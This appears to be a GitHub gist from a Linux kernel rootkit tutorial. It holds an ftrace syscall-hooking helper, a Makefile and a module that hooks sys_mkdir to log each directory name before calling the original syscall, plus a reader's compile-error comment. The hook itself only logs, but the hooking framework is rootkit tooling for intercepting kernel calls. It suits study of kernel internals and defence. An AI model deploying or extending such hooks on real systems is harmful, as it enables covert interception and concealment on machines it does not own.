-
-
Save xcellerator/ac2c039a6bbd7782106218298f5e5ac1 to your computer and use it in GitHub Desktop.
Simple sys_mkdir syscall hook
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Helper library for ftrace hooking kernel functions | |
* Author: Harvey Phillips (xcellerator@gmx.com) | |
* License: GPL | |
* */ | |
#include <linux/ftrace.h> | |
#include <linux/linkage.h> | |
#include <linux/slab.h> | |
#include <linux/uaccess.h> | |
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) | |
#define PTREGS_SYSCALL_STUBS 1 | |
#endif | |
/* x64 has to be special and require a different naming convention */ | |
#ifdef PTREGS_SYSCALL_STUBS | |
#define SYSCALL_NAME(name) ("__x64_" name) | |
#else | |
#define SYSCALL_NAME(name) (name) | |
#endif | |
#define HOOK(_name, _hook, _orig) \ | |
{ \ | |
.name = SYSCALL_NAME(_name), \ | |
.function = (_hook), \ | |
.original = (_orig), \ | |
} | |
/* We need to prevent recursive loops when hooking, otherwise the kernel will | |
* panic and hang. The options are to either detect recursion by looking at | |
* the function return address, or by jumping over the ftrace call. We use the | |
* first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by | |
* setting it to 1. (Oridinarily ftrace provides it's own protections against | |
* recursion, but it relies on saving return registers in $rip. We will likely | |
* need the use of the $rip register in our hook, so we have to disable this | |
* protection and implement our own). | |
* */ | |
#define USE_FENTRY_OFFSET 0 | |
#if !USE_FENTRY_OFFSET | |
#pragma GCC optimize("-fno-optimize-sibling-calls") | |
#endif | |
/* We pack all the information we need (name, hooking function, original function) | |
* into this struct. This makes is easier for setting up the hook and just passing | |
* the entire struct off to fh_install_hook() later on. | |
* */ | |
struct ftrace_hook { | |
const char *name; | |
void *function; | |
void *original; | |
unsigned long address; | |
struct ftrace_ops ops; | |
}; | |
/* Ftrace needs to know the address of the original function that we | |
* are going to hook. As before, we just use kallsyms_lookup_name() | |
* to find the address in kernel memory. | |
* */ | |
static int fh_resolve_hook_address(struct ftrace_hook *hook) | |
{ | |
hook->address = kallsyms_lookup_name(hook->name); | |
if (!hook->address) | |
{ | |
printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); | |
return -ENOENT; | |
} | |
#if USE_FENTRY_OFFSET | |
*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; | |
#else | |
*((unsigned long*) hook->original) = hook->address; | |
#endif | |
return 0; | |
} | |
/* See comment below within fh_install_hook() */ | |
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) | |
{ | |
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); | |
#if USE_FENTRY_OFFSET | |
regs->ip = (unsigned long) hook->function; | |
#else | |
if(!within_module(parent_ip, THIS_MODULE)) | |
regs->ip = (unsigned long) hook->function; | |
#endif | |
} | |
/* Assuming we've already set hook->name, hook->function and hook->original, we | |
* can go ahead and install the hook with ftrace. This is done by setting the | |
* ops field of hook (see the comment below for more details), and then using | |
* the built-in ftrace_set_filter_ip() and register_ftrace_function() functions | |
* provided by ftrace.h | |
* */ | |
int fh_install_hook(struct ftrace_hook *hook) | |
{ | |
int err; | |
err = fh_resolve_hook_address(hook); | |
if(err) | |
return err; | |
/* For many of function hooks (especially non-trivial ones), the $rip | |
* register gets modified, so we have to alert ftrace to this fact. This | |
* is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also | |
* need to OR the RECURSION_SAFE flag (effectively turning if OFF) because | |
* the built-in anti-recursion guard provided by ftrace is useless if | |
* we're modifying $rip. This is why we have to implement our own checks | |
* (see USE_FENTRY_OFFSET). */ | |
hook->ops.func = fh_ftrace_thunk; | |
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | |
| FTRACE_OPS_FL_RECURSION_SAFE | |
| FTRACE_OPS_FL_IPMODIFY; | |
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); | |
if(err) | |
{ | |
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); | |
return err; | |
} | |
err = register_ftrace_function(&hook->ops); | |
if(err) | |
{ | |
printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); | |
return err; | |
} | |
return 0; | |
} | |
/* Disabling our function hook is just a simple matter of calling the built-in | |
* unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the | |
* opposite order to that in fh_install_hook()). | |
* */ | |
void fh_remove_hook(struct ftrace_hook *hook) | |
{ | |
int err; | |
err = unregister_ftrace_function(&hook->ops); | |
if(err) | |
{ | |
printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); | |
} | |
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); | |
if(err) | |
{ | |
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); | |
} | |
} | |
/* To make it easier to hook multiple functions in one module, this provides | |
* a simple loop over an array of ftrace_hook struct | |
* */ | |
int fh_install_hooks(struct ftrace_hook *hooks, size_t count) | |
{ | |
int err; | |
size_t i; | |
for (i = 0 ; i < count ; i++) | |
{ | |
err = fh_install_hook(&hooks[i]); | |
if(err) | |
goto error; | |
} | |
return 0; | |
error: | |
while (i != 0) | |
{ | |
fh_remove_hook(&hooks[--i]); | |
} | |
return err; | |
} | |
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) | |
{ | |
size_t i; | |
for (i = 0 ; i < count ; i++) | |
fh_remove_hook(&hooks[i]); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
obj-m += rootkit.o | |
all: | |
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules | |
clean: | |
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/init.h> | |
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <linux/syscalls.h> | |
#include <linux/version.h> | |
#include <linux/namei.h> | |
#include "ftrace_helper.h" | |
MODULE_LICENSE("GPL"); | |
MODULE_AUTHOR("TheXcellerator"); | |
MODULE_DESCRIPTION("mkdir syscall hook"); | |
MODULE_VERSION("0.01"); | |
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) | |
#define PTREGS_SYSCALL_STUBS 1 | |
#endif | |
#ifdef PTREGS_SYSCALL_STUBS | |
static asmlinkage long (*orig_mkdir)(const struct pt_regs *); | |
asmlinkage int hook_mkdir(const struct pt_regs *regs) | |
{ | |
char __user *pathname = (char *)regs->di; | |
char dir_name[NAME_MAX] = {0}; | |
long error = strncpy_from_user(dir_name, pathname, NAME_MAX); | |
if (error > 0) | |
printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir_name); | |
orig_mkdir(regs); | |
return 0; | |
} | |
#else | |
static asmlinkage long (*orig_mkdir)(const char __user *pathname, umode_t mode); | |
asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode) | |
{ | |
char dir_name[NAME_MAX] = {0}; | |
long error = strncpy_from_user(dir_name, pathname, NAME_MAX); | |
if (error > 0) | |
printk(KERN_INFO "rootkit: trying to create directory with name %s\n", dir_name); | |
orig_mkdir(pathname, mode); | |
return 0; | |
} | |
#endif | |
static struct ftrace_hook hooks[] = { | |
HOOK("sys_mkdir", hook_mkdir, &orig_mkdir), | |
}; | |
static int __init rootkit_init(void) | |
{ | |
int err; | |
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); | |
if(err) | |
return err; | |
printk(KERN_INFO "rootkit: loaded\n"); | |
return 0; | |
} | |
static void __exit rootkit_exit(void) | |
{ | |
fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); | |
printk(KERN_INFO "rootkit: unloaded\n"); | |
} | |
module_init(rootkit_init); | |
module_exit(rootkit_exit); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I tried this but below is what am getting
peter@peter-VirtualBox:
/Documents/first_Rootkit_kernel$ make/Documents/first_Rootkit_kernel$make -C /lib/modules/5.15.0-46-generic/build M=/home/peter/Documents/first_Rootkit_kernel modules
make[1]: Entering directory '/usr/src/linux-headers-5.15.0-46-generic'
CC [M] /home/peter/Documents/first_Rootkit_kernel/rootkit.o
In file included from /home/peter/Documents/first_Rootkit_kernel/rootkit.c:8:
/home/peter/Documents/first_Rootkit_kernel/ftrace_helper.h: In function ‘fh_install_hook’:
/home/peter/Documents/first_Rootkit_kernel/ftrace_helper.h:112:20: error: assignment to ‘ftrace_func_t’ {aka ‘void (*)(long unsigned int, long unsigned int, struct ftrace_ops *, struct ftrace_regs )’} from incompatible pointer type ‘void ()(long unsigned int, long unsigned int, struct ftrace_ops *, struct pt_regs *)’ [-Werror=incompatible-pointer-types]
112 | hook->ops.func = fh_ftrace_thunk;
| ^
cc1: some warnings being treated as errors
make[2]: *** [scripts/Makefile.build:297: /home/peter/Documents/first_Rootkit_kernel/rootkit.o] Error 1
make[1]: *** [Makefile:1881: /home/peter/Documents/first_Rootkit_kernel] Error 2
make[1]: Leaving directory '/usr/src/linux-headers-5.15.0-46-generic'
make: *** [Makefile:4: all] Error 2
peter@peter-VirtualBox:
______________________________________________________________----
can anyone help out